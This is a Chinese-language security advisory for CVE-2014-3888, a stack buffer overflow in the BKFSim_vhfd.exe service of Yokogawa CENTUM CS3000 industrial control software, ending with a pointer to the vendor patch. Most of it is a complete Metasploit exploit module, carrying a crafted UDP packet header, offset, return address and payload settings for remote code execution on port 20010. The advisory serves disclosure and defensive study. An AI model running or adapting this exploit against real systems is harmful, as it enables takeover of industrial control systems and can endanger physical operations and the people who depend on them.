发布日期：2014-07-07
更新日期：2014-12-08

受影响系统：

yokogawa CS3000

描述：

---

BUGTRAQ  ID: 68428
CVE(CAN) ID: CVE-2014-3888

Yokogawa日本横河电机株式会社，是测量、工业自动化控制、和信息系统的领导者。CS3000是基于Windows的生产控制系统。

Yokogawa CENTUM CS 1000, CENTUM CS 3000 R3.09.50及更早版本, CENTUM VP R5.03.20及更早版本, Exaopc R3.72.00及更早版本, B/M9000CS R5.05.01及更早版本, B/M9000 VP R7.03.01及更早版本中，BKFSim_vhfd.exe在实现上存在栈缓冲区溢出漏洞，在启用了FCS/Test函数后，远程攻击者通过构造的数据包，利用此漏洞可执行任意代码。

<*来源：Juan Vazquez
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
      'Description'    => %q{
        This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
        exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
        logs using functions like vsprintf and memcpy in a insecure way. This module has been
        tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
      },
      'Author'         =>
        [
          'Redsadic <julian.vilas[at]gmail.com>',
          'juan vazquez'
        ],
      'References'     =>
        [
          ['CVE', '2014-3888'],
          ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
          ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
        ],
      'Payload'        =>
        {
          'Space'    => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
          'DisableNops' => true,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
            {
              'Ret'    => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
              'Offset' => 438
            }
          ],
        ],
      'DisclosureDate' => 'May 23 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(20010)
      ], self.class)
  end

  def exploit
    connect_udp

    sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
    sploit << rand_text(target['Offset'])
    sploit << [target.ret].pack("V")
    sploit << payload.encoded

    print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
    udp_sock.put(sploit)

    disconnect_udp
  end

end

建议：

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厂商补丁：

yokogawa
--------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.yokogawa.com

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